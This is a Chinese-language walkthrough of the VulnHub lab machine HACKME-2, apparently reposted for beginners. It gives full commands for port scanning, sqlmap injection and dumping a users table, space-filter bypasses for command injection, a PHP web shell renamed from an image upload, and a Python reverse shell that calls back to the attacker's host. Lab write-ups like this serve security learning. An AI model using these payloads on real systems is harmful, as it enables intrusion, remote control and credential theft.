靶机渗透 HACKME-2 (详细渗透,适合新手渗透)

Posted 君莫hacker

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了靶机渗透 HACKME-2 (详细渗透,适合新手渗透)相关的知识,希望对你有一定的参考价值。

0x01靶机描述

靶机基本信息:

链接https://www.vulnhub.com/entry/hackme-2,618/
作者x4bx54
发布日期2020年12月6日
难度中等

靶机基本介绍:

hackme2”是一个中等难度的关卡。这是hackme系列的第二部分,其中有更多的控件用于阻止恶意攻击。此外,你还必须跳出框框来利用这些漏洞。目标是通过web漏洞获得有限的权限访问,并随后以根用户身份升级权限。创建该实验室是为了模拟真实世界的web漏洞。

“hackme2”使用DHCP,并且在mysqld可能自行关闭的情况下(非常罕见的情况),尝试强制重新启动机器,然后机器应该可以正常工作。

0x02环境搭建

  1. 下载并导入靶机
    打开vmware–文件–打开–hackme2-DHCP.ova

  1. 查看网络适配器
    将靶机网络适配器改为NAT模式

  2. 启动靶机
    点击 ▶靶机,开启成功

0x03靶机渗透

一、 信息收集

1. 主机发现
arp-scan -l

2. 端口扫描
masscan --rate=100000 -p 0-65535 192.168.30.207

3. 详细扫描
nmap -T4 -sV -O -p 22,80 192.168.30.207

4. gobuster进行目录扫描
gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.30.207 -t 30

5. 网站指纹识别
whatweb http://192.168.30.207

二、 漏洞挖掘

sql注入

1. 进入主页发现是登录页面,没有用户名及密码,但是页面有注册链接,进行注册用户

2.使用所注册的用户登陆成功

3. 利用sqlmap进行测试是否具有sql注入漏洞
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9"  --level=3 --risk=3


可以看出该出存在sql注入漏洞

4. 查询当前数据库
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --dbs --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --dbs --tamper space2comment.py --level=5 --risk=3

5. 查询当前数据库
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --dbs --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --current-db --tamper space2comment.py --level=5 --risk=3

6. 查询当前数据中所有的表
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --dbs --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --tamper space2comment.py --level=5 --risk=3 -D webapphacking --tables

7. 查询users表中所有的列
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --dbs --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --tamper space2comment.py --level=5 --risk=3 -D webapphacking -T users --columns

8. 查询users表中的数据
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --dbs --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --tamper space2comment.py --level=5 --risk=3 -D webapphacking -T users -C user,name,password --dump



然后我们对用户superadmin进行解密

2386acb2cf356944177746fc92523983    Uncrackable

文件上传漏洞

1. 我们对刚所得到的superadmin用户进行登录

在这里发现了文件上传点,也发现了一处查询用户状态入口

2. 经过验证,上传假图片头木马和图片马时,修改后缀均已失败告终,可以上传图片可以成功



虽然可以上传图片,但是uploads文件夹并不存在,而且我们还没有找到文件包含点,所以我们需要继续寻找其他漏洞,换种解题思路

命令注入漏洞

1. 手工测试

Last Name 输入框中可能存在命令执行漏洞

2. 进行验证

此处确实含有命令注入漏洞

但是在进一步的验证中发现命令执行却不起作用,所以在这里猜测可能是由于过滤空格导致的

#命令执行绕过空格的方法:
<  		 -->   重定向,如cat<flag.php
<>       -->   重定向,如cat<>flag.php
%09 	 -->   需要php环境,如cat%09flag.php
${IFS}	 -->   单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
$IFS$9 	 -->   后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php

其中两种方法均可以成功绕过

system('cat${IFS}/etc/passwd')
system('cat$IFS$9/etc/passwd')


三、 漏洞利用

1. 可以进行执行命令,所以我们可以尝试查看各种有用文件

在查看的过程中我们发现,当前页面welcomeadmin.php源码泄露。我们进行查看,发现了图片上传后的路径,并且可以看出这里并且可以看到并没有过滤asp,aspx后缀文件

cat${IFS}welcomeadmin.php
文件上传路径:
/var/www/html/uploads/year2020/
即:http://192.168.30.207/uploads/year2020/

2. 上传一句话木马,蚁剑连接失败

这里我们可以进行上传asp与aspx木马文件,并用蚁剑进行连接,但是结果以失败告终


木马文件上传成功

3. 对上传的文件访问并用菜刀连接



连接失败

4. 换种思路 命令执行+文件上传

我们现在可以进行命令执行(执行命令反弹shell失败,可能是不存在这种反弹shell方法,或者是我执行有误,并没有执行成功),也知道了文件上传后的路径,我们可以利用命令执行漏洞修改上传到服务器的文件名,然后进行反弹shell

4.1 前面我们上传的phpinfo.jpg文件,我我们尝试修改后缀,并进行访问

system('mv${IFS}/var/www/html/uploads/year2020/phpinfo.jpg${IFS}/var/www/html/uploads/year2020/phpinfo.php')


4.2成功访问phpinfo页面

http://192.168.30.207/uploads/year2020/phpinfo.php

5. 反弹shell

5.1上传图片马sysexec.jpg

#图片马中的脚本:
<?php @system($_GET[cmd]);?>


5.2 利用命令注入漏洞进行修改后缀

system('mv${IFS}/var/www/html/uploads/year2020/sysexec3.jpg${IFS}/var/www/html/uploads/year2020/sysexec3.php')


5.3 借用hackbar工具访问url,反弹shell

这里给大家推荐一个在线生成反弹shell命令的网站
https://weibell.github.io/reverse-shell-generator/

192.168.30.207/uploads/year2020/sysexec3.php?cmd=export RHOST="192.168.30.182";
export RPORT=8888;
python -c 'import sys,socket,os,pty;
s=socket.socket();
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];
pty.spawn("/bin/sh")'



成功反弹shell

四、 提权

1. 先用python打开一个标准的shell
python -c 'import pty;pty.spawn("/bin/bash")'

2. 我们筛选出可登录的用户
cat /etc/passwd | grep bash

3. 来到家目录下,发现有一个legacy目录(并不是用户)

4. 进入了legacy目录,发现可执行的二进制文件,执行,提权成功

0x04实验总结

这个靶机的难度适中,通过这个靶机的联系,感觉更可以增强自己对这些漏洞执行的连贯性,靶机主要考察了目录扫描,sql注入(这里要绕过空格过滤),文件上传与命令执行的结合,反弹shell及提权。该靶机可以串通各部分知识,值得一做

以上是关于靶机渗透 HACKME-2 (详细渗透,适合新手渗透)的主要内容,如果未能解决你的问题,请参考以下文章

靶机渗透SickOs1.2(非常详细,适合新手渗透)

靶机渗透 hackme-1(详解,适合新手)

靶机渗透HACKME: 1

靶机渗透HACKME: 1

靶机渗透HACKME: 1

渗 透测试服务 网站渗 透真的难吗?